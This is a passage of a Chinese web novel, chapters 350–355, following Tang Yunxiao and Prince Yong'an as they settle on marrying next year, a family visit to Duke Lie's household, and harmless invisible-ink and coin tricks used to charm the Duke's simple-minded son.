“咱们婋婋怎么了?怎么就不可能了?”方青鸾眉毛一扬,声调都拔高了三分,脸上满是自豪。
“婋婋模样随了咱们俩,长得比画里的仙子都好看几分。她的武功还很好,你忘了这一路上婋婋杀了多少劫匪了?这样漂亮又能干的姑娘,放到棠家村,那方圆十里所有未婚儿郎,怕是都想抢着把她娶回家。”
棠风陵听到这话,赶忙解释:“我不是说咱们婋婋不好,齐大非偶,我怕婋婋嫁过去受委屈……”
“什么旗大旗小的?”方青鸾眉头一皱,直接打断了丈夫文绉绉的话。
“咱们婋婋像是会让自己受委屈的人么?”
一句话直接让棠风陵噎住了。
确实,他们的宝贝女儿干的那些事,实在是不像一个能受委屈的主。
“我这不是怕皇上和皇后娘娘不同意么。”棠风陵忧心忡忡。
帝后这般疼爱永安王,会同意他娶婋婋么?
“别瞎操心了。”方青鸾没好气的开口。
“若永安王连他爹娘都搞不定,那还娶什么媳妇。”
“总而言之,婋婋的婚事用不着咱俩操心。你还是多操心操心麒儿和麟儿的功课吧。”
棠风陵觉得夫人说得十分在理。
他还是先操心操心两个儿子的功课吧,省得去了国子监丢人。
另一边。
棠云婋见到了闷闷不乐的谢翊宁。
“怎么了?可是事情不顺利?”棠云婋心头一紧。
“有一点。”谢翊宁点了点头。
看到棠云婋锁紧的眉头,他赶忙露出笑脸,不想让她跟着一块担忧。
“不过还是有好消息的。”
他把密旨交给了棠云婋。
棠云婋打开看到里面的内容,有些鼻酸。
她没想到谢翊宁说到做到,动作这么迅速。
“密旨拿到了,那就是赐婚的事出岔子了?”棠云婋收起了密旨,看向他。
谢翊宁点了点头。
棠云婋有些摸不着头脑。
按道理来说,帝后密旨都愿意给,不该阻拦赐婚啊。
“我想后年成婚,但母后不同意。”谢翊宁有些挫败地开口。
他昨天信誓旦旦和婋婋说好了,结果转头就被打脸了。
但他不想让棠云婋跟着担心这事,笑眯眯道:“不过你放心,母后最疼我了,等我回头再和她磨两天,她肯定就会答应了。”
棠云婋略一思索,就知道崔皇后为什么不同意了。
她握住了谢翊宁的手:“王爷,不必等后年。我们明年就成婚吧。”
听到“明年就成婚”,谢翊宁唇角不自觉地上扬,他下意识反握住棠云婋的手,差点要脱口应下一个“好”字。
但那份藏在心底的预言让他瞬间清醒过来。
“不行。”他松开了棠云婋的手,坚定地摇头,声音干涩发紧,“绝对不行!婋婋,你知道的……”
“正是因为我知道,所以我才说明年成婚。”棠云婋不允许他退缩。
她重新抓住了他的手,力道大得让他无法挣脱。
“谢翊宁。”她叫出了他的名字。
“你怕之后留我一人,那现在呢?现在明明可以在一起的日子,就不要了吗?”
“未婚夫妻和拜过天地的夫妻,能一样吗?”
“若天命难违,你只剩这些时光,那我更要名正言顺地陪在你身边,一天都不浪费。”
小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!“我不怕那没影的以后,我只怕眼前的时光被辜负。所以,明年开春我们就成婚,好不好?”
她的语气坚定又温柔。
让谢翊宁原本漂浮不安的心,一瞬间找到了归处。
他怔怔地望着棠云婋,心底的犹豫和挣扎像冰雪一样,被她坚定滚烫的话语一点一点消融。
“……你说得对。”他的眼神重新变得亮晶晶的,带着一种破釜沉舟般的决心和释然。
“是我想岔了,光想着那最坏的结果,却把最好的日子都预先糟蹋了。”
但下一瞬,他又忍不住紧张兮兮地追问:“你当真愿意明年嫁给我么?”
棠云婋笑着点了点头。
见她点头,谢翊宁控制不住一把将她搂进怀里,把脸埋在她颈窝,声音闷闷的,却满是藏不住的欢喜和依赖。
“婋婋,你真好。”
“你怎么可以这么好。”
“你说我是世界上最好最好的人,但我觉得你才是这世上最好最好的人。”
棠云婋莞尔一笑,抬手揉了揉他埋在自己颈间的脑袋。
“我们这就叫天造地设。”
“最好的人和最好的人,就该在一起,一天也不浪费。”
“所以别再愁眉苦脸想二十岁的事情了。从现在起,你最该想的是怎么风风光光娶我过门。”
“好。”谢翊宁重重点头应下。
他一定要给他最最最心爱的姑娘,全天下最风光的婚礼。
让所有人都知道,棠云婋是他谢翊宁三书六礼、明媒正娶,放在心尖上的王妃。
喜欢两眼一睁就是杀,都重生了磨叽啥请大家收藏:()两眼一睁就是杀,都重生了磨叽啥更新速度全网最快。
第351章 对不起哥哥
和棠云婋谈好成婚的事情后,谢翊宁匆匆忙忙地回宫找母后认错去了。
他现在就想着让母后快点把赐婚的旨意给拟了。
婋婋说得对,若天命难违,他只剩这些时光,那他们更要名正言顺地在一起,一天都不要浪费。
谢翊宁离开后,棠云婋换了身衣裳,准备领着爹娘兄长一块入城,去一趟烈国公府。
从青州回来之后,她就命人给烈国公府送了些路上带的特产,递了拜帖。
烈国公夫人热烈邀请他们全家一块去做客。
于是他们约好了今日登门拜访。
昨日和永安王约好今日见,她差点把这事都给忘了。
还好永安王来得早。
很快,棠家一行人就抵达了烈国公府。
烈国公府的总管事早就做好了准备,瞧见他们的马车,快步迎了上来。
弯腰稳稳放好脚踏后,他赶忙道:“恭迎郡主鸾驾,恭迎棠老爷、棠夫人、棠少爷。”
棠家人虽早有心理准备,但见到这依足郡主体制的迎驾仪仗,仍不免有些拘谨。
棠云婋面色如常,将他们领了下来。
刚站定,烈国公夫妇一脸欣喜地领着尉迟敦走了过来。
尉迟敦瞧见棠云婋,大喊道:“妹妹!”
他一边喊一边激动地想过来抱住棠云婋,却被烈国公夫人拦住了。
“臣/臣妇,恭迎郡主。”
烈国公夫妇领着儿子给棠云婋行礼。
棠云婋见状,立刻快步上前,在二老礼毕前便稳稳托住了他们的手臂,语气亲近又无奈:“干爹,干娘,你们这是做什么?”
她手上用了巧劲,没让他们真的拜下去。
烈国公就着她的力道直起身,眼眸里含着的全是欣慰与骄傲,笑着打破了方才略显正式的场面:“礼不可废!如今你可是皇上亲封的郡主,咱们这老家伙可不能给你失了体面。”
尉迟敦被拦了一会儿,已经很不高兴了。
他不想再听父亲废话,着急忙慌地撞开了他,拉住棠云婋的手:“妹妹,你去了哪里,我好想你。”
他一边说,眼泪一边控制不住地掉了下来。
“爹娘坏,不让我去找你。他们骗敦儿。”
说完又气鼓鼓地瞪了烈国公夫妇一眼。
烈国公夫妇顿时有些无奈。
烈国公夫人有些抱歉地看向了棠家人:“让你们见笑了。”
棠家人早已从棠云婋那里得知了尉迟敦与常人不同,因此没有露出任何异样的表情。
棠风陵赶忙道:“世子心性质朴,一片赤诚,这份毫无保留的惦念之情,最是纯粹珍贵,何来见笑之说。”
尉迟敦没有搭理棠家人,他弯腰凑到棠云婋耳边,小声道:“妹妹跟我来,我藏了好多好多好吃的,都留给你。”
“爹坏,娘坏,骗敦儿,不给他们。”
棠云婋心软得一塌糊涂。
她柔声哄道:“对不起哥哥,这些日子我出远门去了,但我给你带了好多好多礼物呢。”
“礼物?”尉迟敦听到这话,破涕为笑。
“有什么呀?”他好奇地东张西望了起来。
棠云婋趁机让人把东西搬了下来,领着尉迟敦走了进去。
免得还不知道要在国公府大门呆多久呢。
一进去,尉迟敦就扯着棠云婋去他的“藏宝洞”。
“妹妹快来~~~”
棠云婋看他撅着屁股往床底拱,嘴角忍不住抽了抽。
但也还是顺从地半蹲了下去,等着他把东西拿出来。
不一会儿,尉迟敦就捧着一个盒子钻了出来。
“嘿嘿,妹妹给。我藏了一、二、三……”尉迟敦掰着手指头数了起来。
“我藏了六十多天呢。”
“这些芙蓉酥、栗子酥、凉糕都给你!!!”
他眨巴着眼睛,把盒子递了过来。
棠云婋一听六十多天。
好家伙,这么热的天,那不得都坏了。
但她面上不显,还是双手接了过来:“谢谢哥哥。”
这时伺候她的丫鬟得了国公夫人的示意,赶忙上前:“世子,郡主给您带了礼物,您可要现在就拆开?”
“要!”尉迟敦点了点头。
他想拉着棠云婋一块去,棠云婋指了指盒子。
“我想先把哥哥给我留的糕点吃完了再去。”
尉迟敦纠结得咬手指。
他又想看礼物,又怕妹妹跑了。
“我就在这等哥哥回来,保证不离开!”棠云婋举手发誓。
有了她这话,尉迟敦这才放心了一些。
他噔噔噔地跟着丫鬟跑了出去,刚跑到门外,忽然又转身探出脑袋偷看棠云婋还在不在。
棠云婋被他逗得笑眯了眼睛。
“妹妹,待会见哦~”看她真的没走,尉迟敦这才放心地离开了。
这时,烈国公夫人才走进来,指着尉迟敦递过来的那一盒糖果点心道:“莫担心,我与国公每日都让人趁着他睡着时,把新的糕点换进去。”
棠云婋恍然大悟。
怪不得她说怎么放了两个多月了,这糕点竟然还没坏呢。
本小章还未完,请点击下一页继续阅读后面精彩内容!烈国公夫妇是真的疼爱尉迟敦到骨子里了。
随后几人一块去了会客的花厅。
棠云婋给烈国公夫妇介绍起了棠家人,还说了如今自己认祖归宗改了姓名的事情。
烈国公夫妇从善如流地改了口,不再唤她星儿,而是唤她婋婋。
得知棠云婋的身世,烈国公夫人十分愤怒。
“苏婧贞怎能如此自私!为她女儿罔顾他人性命,这世上岂有这般道理?别人的孩子就不是孩子了吗?”
苏婧贞正是秦王妃的闺名。
烈国公也没想到棠云婋是这样走丢的,更没想到整个棠家村会因为秦王妃被屠杀殆尽。
棠云婋想起永安王和她说过,棠家村的事情或许和赵王有关。
烈国公这般年纪,说不定会知道些什么。
她正欲打听,就听到了尉迟敦的声音。
“妹妹,谢谢你的礼物。”
“妹妹,我好开心呀。”
“妹妹,你陪我去玩好不好呀~~~”
她扭头一看,尉迟敦蹦蹦跳跳地跑了回来,脸上满是笑意。
棠云麒看出妹妹有话要和烈国公夫妇讲,于是站出去拦住了他。
“世子,妹妹没空,我陪你玩好不好?”
尉迟敦眉头微皱,这才看向了他。
随后又看到了一旁的棠云麟,眉头顿时拧成了一团。
他伸手指了指棠云麒,又指了指棠云麟,随后揉了揉眼睛。
“怎么有两个你?”
棠云麒微微一笑,露出了哄孩子的笑容:“因为我会法术呀,可以同时变出两个我。你想不想学?”
喜欢两眼一睁就是杀,都重生了磨叽啥请大家收藏:()两眼一睁就是杀,都重生了磨叽啥更新速度全网最快。
第352章 怎么做到的
尉迟敦忙不迭点头:“想!”
但他又小心翼翼地看了爹娘一眼。
“可以吗?”
烈国公夫妇看到有人能陪自家儿子玩,打心底里高兴。
他们倒是给儿子找了不少孩童当玩伴。
只是敦儿虽心性纯真,身形气力却远非寻常孩童能比。
偶尔玩闹间的无心推搡,都极易伤着那些真正的孩子。
他们不忍,也不愿见别家孩童因敦儿受伤落泪,只得将人都送走了。
听闻这棠家长子从前在江湖走镖,身手想必不错。
有他陪着,既不怕敦儿没轻没重失了分寸,也不必担心他会轻易受伤。
两人心下顿时松快了许多,相视一笑,温和地点头应允:“去吧。”
得了爹娘的许可,尉迟敦开心地看向了棠云婋:“妹妹,咱们一块学法术好不好?”
棠云婋摇了摇头,笑道:“哥哥你去学吧,等你学会了,你来教我。”
听到这话,尉迟敦油然而生一种责任感,他重重点头:“好!我会努力学会教妹妹的!”
“国公爷,国公夫人,那晚辈就先陪世子去玩了。”棠云麒恭恭敬敬地冲烈国公夫妇行了一礼。
烈国公夫妇冲他点了点头,心底对他愈发满意了。
这孩子虽说出身微寒,但进退有度,听闻他想走武举的路线,他们倒是能拉拔一把。
棠云麒便扯上棠云麟,领着尉迟敦去国公府的花园里玩耍去了。
烈国公便主动提起了这事。
“听闻云麒那孩子志在武举,这是好事。老夫在军中几十年,帐下也出过几个武状元。”
“这武举不光是考校弓马力气,更重策论韬略。若日后他在国子监读了书,有什么兵策上的疑难,或是想听听边疆的真实战例,随时可来府上寻我问道。”
棠风陵和方青鸾听到他这话,顿时喜不自胜,连忙道谢:“多谢国公爷提携!”
“都是自家人,何必说那些外道话。”烈国公夫人笑了起来。
“待那孩子学有所成,也可以让国公爷修书几封,让他去京营或边军历练见识一番,总比闭门造车强。若是缺什么趁手的兵刃或是骑射用具,也尽管开口。”
烈国公点了点头:“没错,正是如此。咱们国公府上,什么不多,武器最多。”
见爹娘感动得一时间不知道该说什么,棠云婋故意撒娇打岔:“干爹你偏心。见着大哥一面,就给大哥那么多好东西,怎么之前不说给我一些武器?”
烈国公哈哈一笑,十分痛快地开口:“这还用说出口么,你想要什么,直接拿走就是!”
“那待会我可要好好挑挑了。”棠云婋附和着打趣。
“没问题,你想拿什么都行。”烈国公笑呵呵地看着她。
棠云婋又说了几句俏皮话,哄得烈国公夫妇眉开眼笑,这才步入了主题。
“干爹,干娘,你们可曾听闻赵王和秦王有什么过节么?”
烈国公眉头微皱,仔细思索了起来。
“赵王和秦王,没什么过节呀。我记得他俩关系倒是不错。秦王被斩那日,赵王听说还哭晕了过去。”
一个是先帝的长子,一个是幺儿。
虽然并非一母所生,但两人关系却一直不错。
这话让棠云婋有些惊讶。
她还以为赵王和秦王有什么生死大仇呢,所以才会派人去追杀秦王妃。
难道是她猜错了?
棠云婋换了一个话题:“那秦王妃和小郡主的事情,您二位知道多少?”
烈国公皱眉思索,最后摇了摇头:“其实关于他们的事情,我们也不清楚。当年我大多数时间在边关呢,与秦王和赵王接触都不算多。”
他一个武将和王爷私下接触多,那就是找死。
烈国公夫人也跟着点头,有些愧疚地看向棠云婋:“敦儿出事后,我无心交际,因而与秦王妃见面的次数并不多。”
“婋婋,帮不了你了,真是对不住。”
“干娘说的哪里话,你们已经帮了我很多了。”棠云婋赶忙摇头,“当初若不是您庇护我,我哪里会过得这么好。”
听到她这话,烈国公夫人脸上重新浮起了笑意。
双方都不是难相处的人,一时间聊得热火朝天,宾主尽欢。
没过多久到了用膳的时间,烈国公夫人催着下人去把尉迟敦三人叫回来。
没一会儿,她就看到了自己儿子跟在棠云麒身后,屁颠屁颠地喊大哥。
“大哥,你就教我吧!”
棠云麒脸不红心不跳地敷衍他:“等你把那一页大字写完,还要写得漂亮,我才教你。”
“可是写字好累,我不要。”尉迟敦扁扁嘴,满脸不情愿。
“学术法更累,你要是连字都不会写,还怎么学术法?你不想学了么?”棠云麒挑眉看向他。
“想!可是……”尉迟敦还有些纠结。
“那不就行了。乖乖练字,过几天我来教你。”棠云麒拍了拍他的肩膀。
尉迟敦想着先前看到那个术法,心痒难耐,最后还是不情不愿地点头了。
“好吧,那说好了哦,我写好了,你就来教我。”
“嗯,拉钩!”棠云麒冲他伸出了小手指。
尉迟敦开开心心地勾住了他的手,随后坐到了母亲身边。
“娘亲,我要吃饭,吃完了快快写大字去!”
烈国公夫人听到这话惊讶地瞪大了眼睛。
敦儿一看到书就头疼,拿到毛笔就四处乱扔乱画,还是头一回主动要求写大字。
她惊讶又感激地看向了棠云麒,想知道他是怎么做到的。
但如今尉迟敦在身边,她便将疑惑压了下去,笑着点头:“好,吃完了饭,就去练字。”
尉迟敦吃了一口饭,又端起碗起身,跑到了棠云婋身边坐下。
“我要和妹妹排排坐!”
烈国公府一直没有什么男女不同席的规矩,因此烈国公夫人马上就答应了让他坐在棠云婋身边。
一行人开开心心地用了午膳。
尉迟敦吃完午饭就开始犯困了,但他还是坚持要先练字。
烈国公夫人拗不过他,便让人将笔墨纸砚拿来了花厅,让众人看着他练字。
结果这孩子练着练着,写了几笔,就打起了哈欠,趴在桌上呼呼大睡了起来。
烈国公夫人这才满脸期待地看向棠云麒:“好孩子,能告诉我你是怎么做到的么?”
喜欢两眼一睁就是杀,都重生了磨叽啥请大家收藏:()两眼一睁就是杀,都重生了磨叽啥更新速度全网最快。
第353章 心偏得没边
棠云麒略有些不好意思。
“其实不是什么高明手段,不过是些取巧的小伎俩。”
他向烈国公夫妇细细道来。
“晚辈先取了一支干净毛笔,蘸上白醋,在宣纸上誊了几个字。醋干之后,字迹便隐去了。”
“随后我便哄世子爷,说只需向纸上呵一口仙气,便能教白纸显灵。世子爷心思纯真,便信了。”
“待他聚精会神等候时,我将纸凑近烛火,稍稍烘烤。不过片刻,方才写的字便渐渐显出形来。世子爷见了,只当是仙法,欢喜得很。吵着要学,我便让他先练大字,练好了,就教他。”
烈国公夫妇没想到还能用这样的法子引得儿子好学。
两人相视一笑,眼中满是对棠云麒的赞赏。
烈国公笑道:“好个聪慧的小子!此法甚妙,难为你想得到。”
烈国公夫人看向棠云麒,忍不住又道:“那他怎么愿意喊你大哥的?”
棠云麒更不好意思地摸了摸鼻尖。
“世子爷问我是谁,我便说我是婋婋的大哥,他说他才是。然后我给他变了那个小把戏之后,他便改口叫我大哥了。”
烈国公夫人哑然失笑:“原来如此。”
一行人又闲聊了一会儿,棠家人便打算告辞。
不曾想,尉迟敦睡醒了,吵着闹着要跟着棠云麒兄妹二人走。
烈国公夫妇顿时有些无奈。
棠云婋大手一挥:“无妨,让哥哥一块去吧。反正山庄大得很,能住得下。”
烈国公夫人哪里放心得下儿子。
方青鸾看出了她的纠结,笑道:“若夫人放心不下,不如一块陪世子爷去山庄里住几日?”
“会不会太打扰了?”烈国公夫人眼前一亮。
方青鸾连忙摇头:“不会,我巴不得和您多呆一段时间呢,您也知道,我刚来京城,人生地不熟的,也没什么相识的朋友……”
“那我便当你的第一个朋友!”烈国公夫人脱口而出。
她本来就喜欢棠云婋这个干女儿,如今对棠云麒也颇有好感,所以对他们的生母方青鸾更是有一万分的喜欢。
“好呀!”两人有说有笑的,便一同去收拾行李了。
烈国公:“???”
怎么干女儿来一趟,把夫人和儿子都带走了。
难不成要让他当孤家寡人,留守国公府?
那可不行!
他幽幽地看向了棠云婋。
“婋婋,干爹给你送的双环刀,可还喜欢?”
“特别喜欢!”棠云婋连忙点头。
烈国公方才开武器库让她随便选,还真让她选到了满意的。
“那干爹去山庄里亲自教你用几招,可好?”烈国公继续暗示。
这下棠云婋总算明白了。
她噗嗤一笑:“那我可求之不得。”
随后她笑着看向烈国公夫人:“干娘,您让人赶紧给干爹也收拾行李,咱们一块去庄子里住几日。正好过几日就是中秋了,咱们一块过中秋节。”
就在烈国公夫妇收拾了好几辆马车,跟着棠家一行人去了摘星山庄时。
谢翊宁也终于求到了他梦寐以求的赐婚圣旨。
“母后,等过些时日婋婋及笄时再宣布吧。”谢翊宁已经想好了这道旨意公布的时间。
“行行行。”崔皇后想到小儿子明年就要成婚了,心情美得不得了,这点小事又怎么会不给他面子。
谢翊宁凑到崔皇后身边,语气里带着毫不掩饰的期待:“那未来的儿媳妇及笄,母后您可得想想赏她点什么,让她知道您有多看重她!”
崔皇后被小儿子这明晃晃的偏爱逗得笑出声,伸手指尖点了一下他的额头:“瞧你这点出息!这还没过门呢,心就偏到没边了,变着法儿地替她来掏你母后的私库?”
“昨日才要了本宫一支上好的步摇,今日又要别的好东西?明日怕不是要把本宫的私库都搬走了?”
“母后说的哪里话。谁不知道您最是慈爱宽和,天底下就找不出第二个像您这样好的婆婆。”谢翊宁不遗余力地夸起了母后。
“您都不知道那几位皇嫂和皇姐多羡慕太子妃嫂嫂。”
“儿臣私底下听他们偷偷说过,这满京城乃至全天下,都再找不出第二位像母后这般,把媳妇儿当自家女儿疼的婆婆了。有您这样的母后,儿臣脸上都有光!”
崔皇后又一次被小儿子哄得眉开眼笑。
“行了行了,放心吧,母后还能亏待了她不成?本宫定会备下一份贵重的及笄礼,必让她风风光光,也让满京城都晓得,咱们皇家对她这个媳妇儿,是打心眼里满意和重视。”
她说完,瞟了一眼喜形于色的谢翊宁,打趣道:“这份体面,既是给她撑腰,也是给你做脸,满意了吧?”
“满意,儿臣实在是太满意了!”谢翊宁笑嘻嘻地应了下来。
母后既然应承了他,肯定就不会糊弄他。
他从未央宫离开没有回王府,反而去了东宫,将自己明年要成婚的事情告诉了太子。
“太子哥哥,这回我可没有瞒着你啊。母后那边应承了我,我第一时间就来告诉你了。”
太子闻言,抬手不轻不重地弹了他脑门一下,笑骂道:“少在这儿跟我耍滑头。你特意挑明了及笄那日才宣旨,当真以为我不知道你葫芦里卖的什么药?不就是变着法地想让我和你嫂嫂给你那未过门的王妃把场面撑足么。”
“嘿嘿嘿。”
心思被彻底戳穿,谢翊宁也不狡辩,只是捂着额头咧嘴傻笑,一双眼睛亮得惊人,里头那点期盼和得意藏都藏不住。
太子看着他这模样,又是好笑又是好气,却也更体会到他这份珍而重之的心意。
这傻小子是恨不得把全天下最好的东西都捧到那姑娘面前。
他就是要让所有人都知道,他谢翊宁未过门的王妃,从及笄这一刻起,就有未央宫和东宫撑腰,谁也不许轻视。
“行了,我跟你保证,一定会给你未来的王妃把面子撑足,可以了吧?”
“可以,太可以了!谢谢太子哥哥!”谢翊宁心满意足,带着满心喜悦离开了东宫。
而这份喜悦在第二天戛然而止。
喜欢两眼一睁就是杀,都重生了磨叽啥请大家收藏:()两眼一睁就是杀,都重生了磨叽啥更新速度全网最快。
第354章 长忧九十九
睿王被收押在天牢,文昭帝命三司暂缓了对他的彻查。
谢翊宁得知这个消息,气冲冲地去了未央宫。
“母后,父皇为何忽然不让他们继续审谢允恪了?父皇是不是改主意想要留下他了?”
崔皇后淡定道:“是本宫劝他不要着急的。”
谢翊宁眉头紧锁,他知道母后肯定不会轻易放过害他的人,她这么劝父皇一定别有深意。
“母后?”他疑惑地看着崔皇后,等着她答疑解惑。
崔皇后这一回没有卖关子,把道理掰开了揉碎了告诉他:“傻孩子。若你父皇现在下旨杀他,你是痛快了,可外人会怎么想?”
“睿王刚被揪出谋害你这桩罪过没几天就立刻就被处死。天下人只会疑心是本宫和你在背后紧逼着皇上,不肯容他多活一刻。”
谢翊宁恍然大悟。
为了一个将死之人,赔上他和母后的名誉,不值得。
崔皇后意味深长地看了小儿子一眼。
“更重要的是,月底就是给你和令嘉赐婚大喜之日。若他血淋淋地刚死没几天,你父皇就忙不迭地给你们赐婚,天下人会怎么看待他?”
“他们会非议你父皇慈爱有余,而哀戚不足,甚至刻薄些的,会私下议论他凉薄寡恩,不恤人伦。这会极大地损伤你父皇的仁德之名。”
“于你而言,这更是有百害而无一利。”
“你本是苦主,天下人应怜你惜你。但若在此时赐婚,你的委屈便会立刻被这悖礼之举所掩盖。你的名声还要不要了?”
谢翊宁也反应过来了。
天子家事,亦是天下事,万事都离不开一个‘礼’字。
无论睿王犯下何等大逆不道之罪,他终究是父皇的骨血,是他的兄长,这是伦常根本。
若在兄长新丧之时,便急急为他赐婚,此乃吉凶相冲,是礼法上的大忌。
对他和婋婋的婚事没有任何好处。
母后为他思虑良多。
想明白这一切,谢翊宁脸上的怒容和疑惑瞬间一扫而空。
他脸上堆满了灿烂的笑意,如同一只讨好主人的猫儿凑到崔皇后身后,动作熟练地替她揉起了肩。
“母后您真是算无遗策,步步为营。”
“若不是您深谋远虑,替儿臣看得这般长远,儿臣只怕真要因小失大了。”
他微微侧头,语气里带上了几分恰到好处的依赖与撒娇。
“若是日后没了您,儿臣真不知要怎么办才好。所以您千万保重凤体,定要长命百岁,一直替儿臣掌着眼,稳稳当当地走下去才好呢。”
崔皇后轻轻拍了一下他给自己揉肩的手背,笑骂道:“油嘴滑舌,没个正形。”
养儿一百岁,长忧九十九。
小石头自小就被国师下了那样的预言,她这个当母亲的怎么能不替他多思量几分。
而后,她眼底泛起一丝温柔的波光,轻声叹道:“母后啊,不图你建功立业,只盼着你一辈子平安顺遂,夫妻和睦,儿孙满堂。”
“那可太好了!”谢翊宁眼睛一亮,仿佛那美好未来已在眼前。
他兴高采烈地接话。
“日后儿臣若有了孩子,定头一个送进宫里来给您带着!让您也尝尝含饴弄孙的乐趣,正好也省得那小子打扰我与婋婋的燕婉之欢。”
崔皇后:“……”
她脸上的慈笑瞬间僵住,没好气地瞪了他一眼:“浑说什么!本宫是替你带孩子的老嬷嬷不成?自个儿的孩子自个儿疼去。少来叨扰本宫清静!”
语气虽是嫌弃,眼里却是藏不住的笑意。
*
一出宫,谢翊宁便马不停蹄地直奔摘星山庄,将睿王为何会推迟处决的原委告诉了棠云婋。
棠云婋心中微震。
她未曾想到,帝后思虑竟如此深远,为了他们,更准确地说,是为了保全永安王的声誉与这场婚事的圆满。
可谓用心良苦。
她沉吟片刻,露出笑意道:“这样也好,至少面上不必立刻绷得太紧。咱们也能稍稍喘口气,也能安安生生地过个中秋了。”
虽然亲王身故,礼制上并不要求举国服丧、禁止一切宴乐。
但京中勋贵之家,谁不是闻风而动、揣摩上意的高手。
天家骤失皇子,还是以那般不光彩的方式,想必圣上心情定然不会太好。
谁家会那么没有眼力见地大肆张扬、歌舞升平。
如今睿王暂时没死,倒是让这个中秋可以过得高兴些了。
“妹妹!妹妹!快来陪我玩呀~~~”
两人才说了几句话,尉迟敦欢快的大嗓门就由远及近。
他举着那只方青鸾给他做的竹蜻蜓,像只撒欢的大狗,兴高采烈地蹦跶过来,直奔棠云婋,想给她看自己的宝贝。
可一看见棠云婋旁边站着的谢翊宁,他脸上的笑“唰”一下就收住了,脚步立马规矩起来。
他有点手足无措地看着谢翊宁,随后小声嘟囔道:“见、见过永安王……”
棠云婋有些惊讶,没想到尉迟敦竟然能认出永安王来,还知道要规规矩矩地行礼?
谢翊宁瞧着眼前这心思简单得像张白纸的尉迟敦,心里头的小算盘立马就噼里啪啦地打了起来。
婋婋现在是烈国公府的义女,论起来,这位不就是他正儿八经的大舅子之一?
比起棠家的两位大舅子,眼前这位单纯的世子那可太好相处了!
谢翊宁眼睛一亮,主意立马就上来了。
要是提前把这位“大舅子”哄高兴了,变成自己人。
等将来迎亲的时候,有他帮着里应外合,那些拦门闹洞房的环节,还不是形同虚设?
想到这里,他笑眯眯地看向了尉迟敦:“世子不必客气,这儿没那么多规矩。”
随后他凑上前看着尉迟敦手里的竹蜻蜓,惊叹道:“哇!世子你这蜻蜓做得可真棒,飞得高不高呀?你教教我怎么玩,好不好?”
尉迟敦紧张地盯着谢翊宁。
父亲和母亲拿着这人的画像反复让他认了好多回,要他记住,这个人千万不能得罪,得罪了他,以后好吃的好玩的就都没了。
可如今这人却笑眯眯地和自己打招呼,还要和自己一起玩……
尉迟敦迷糊了。
喜欢两眼一睁就是杀,都重生了磨叽啥请大家收藏:()两眼一睁就是杀,都重生了磨叽啥更新速度全网最快。
第355章 他会我也会
想不出来该怎么办,尉迟敦直接扭头看向了棠云婋。
父亲母亲说了,妹妹聪明,遇到不懂的事情,问妹妹!
“妹妹,我要和他玩吗?”
棠云婋听到这话,噗嗤一笑,反问道:“哥哥想和他一起玩吗?”
尉迟敦有些纠结,但最后还是诚实地摇了摇头。
“我想和大哥玩。”
“大哥会仙术,他不会。”
生平第一次被旁人嫌弃的谢翊宁:“……”
他竟然比不上棠云麒?!
“他会什么仙术,我也会!”
向来不服输的永安王发誓一定要拿下“大舅子”。
提起“仙术”,尉迟敦可就滔滔不绝了。
他把棠云麒那日给他表演的仙术说了一遍。
谢翊宁一听就明白了,什么吹一口仙气就能显现字,分明是用白醋在纸上写了字,之后用火烤一烤就显现了。
谢翊宁抬起下巴,傲娇道:“区区小术法,本王也会。我还会更多的呢。”
“你还会什么?”尉迟敦一脸好奇和期待。
谢翊宁负手而立,做出一副世外高人的模样,神秘兮兮地压低声音:“本王会的可多了,比如……点水成冰!”
他故意停顿了一下,满意地看着尉迟敦惊讶地张大了嘴。
“真、真的吗?水怎么会变成冰?”尉迟敦果然被勾起了全部的好奇心。
“自然是真的,比真金还真。”谢翊宁煞有介事地点头。
“不过嘛,这仙术太耗费心神,今日暂且不便施展。但我还会一个更厉害的铜钱穿墙术。”
他随口胡诌。
“铜钱穿墙术?”尉迟敦歪着头,一脸不解。
棠云婋忍着笑,饶有兴致地看着他忽悠尉迟敦。
谢翊宁看到她的笑,冲她眨了眨眼,用眼神示意她可千万别拆穿他。
随后他看向一旁的照夜,示意他拿几枚铜钱过来。
“就是我能让一枚铜钱,嗖地一下,穿过厚厚的木桌子,掉到下面去!你信不信?”
尉迟敦把头摇得像拨浪鼓:“不信!桌子是实的,铜钱怎么会穿过去?”
“嘿,就知道你不信。”谢翊宁得意地笑了。
“这样,咱们打个赌。我若做到了,你以后就得让我当你唯一的好朋友,怎么样?”
他趁机抛出真实目的。
这样等到成婚那日,尉迟敦当然得帮他这个“唯一”的好朋友了~
尉迟敦皱着眉,努力思考了一下,觉得这根本是不可能的事,于是重重点头。
“好!你要是真能做到,我就让你当我的好朋友,还把方姨做的蜜饯分你吃!”
“成交。”谢翊宁心中暗喜,面上却不动声色。
“那你可看好了啊,仙术——启!”
他装模作样地掐了个诀,嘴里念念有词,然后拿起一枚铜钱,煞有介事地在桌面上比划了几下,最后猛地往桌面一拍。
再抬手时,桌面的铜钱不见了。
同一时间,一枚铜钱从桌子下边掉落,滚到了尉迟敦脚下。
尉迟敦目瞪口呆地看着地上那枚突然出现的铜钱,又看看桌上那枚确实不见了的铜钱,小脑袋瓜彻底转不过来了。
他盯着谢翊宁的手,扑过去检查。
“你肯定手里还藏了别的铜钱!”
谢翊宁淡定自若地张开双手:“世子不信可以找,我只有那一枚铜钱。”
尉迟敦捧着他的手翻来覆去地看了好几遍,又拉着他原地转圈让他抖一抖,发现没有铜钱掉下来。
“还真没有啊。”他眼里变得有些迷茫。
“这么说,铜钱是真的从桌子穿过去了?”
谢翊宁强忍着笑意,维持着高深莫测的表情,拍了拍他的肩:“没错,这就是铜钱穿墙术。”
尉迟敦看向谢翊宁的眼神瞬间充满了崇拜:“你好厉害!比大哥还厉害!”
“一般一般啦,我们是好朋友嘛,我以后教你。”谢翊宁毫不心虚地忽悠尉迟敦。
“嗯嗯,拉钩钩,我们是好朋友。”尉迟敦迫不及待地和他拉钩。
一旁的棠云婋嘴角抽了抽。
什么铜钱穿墙术,分明是障眼法。
将铜钱拍在桌上的时候迅速收回来,另一只手把铜钱扔下去。
至于先前**的铜钱,永安王早就扔给了照夜。
两人配合默契,尉迟敦压根反应不过来,所以在他身上找不到其他的铜钱
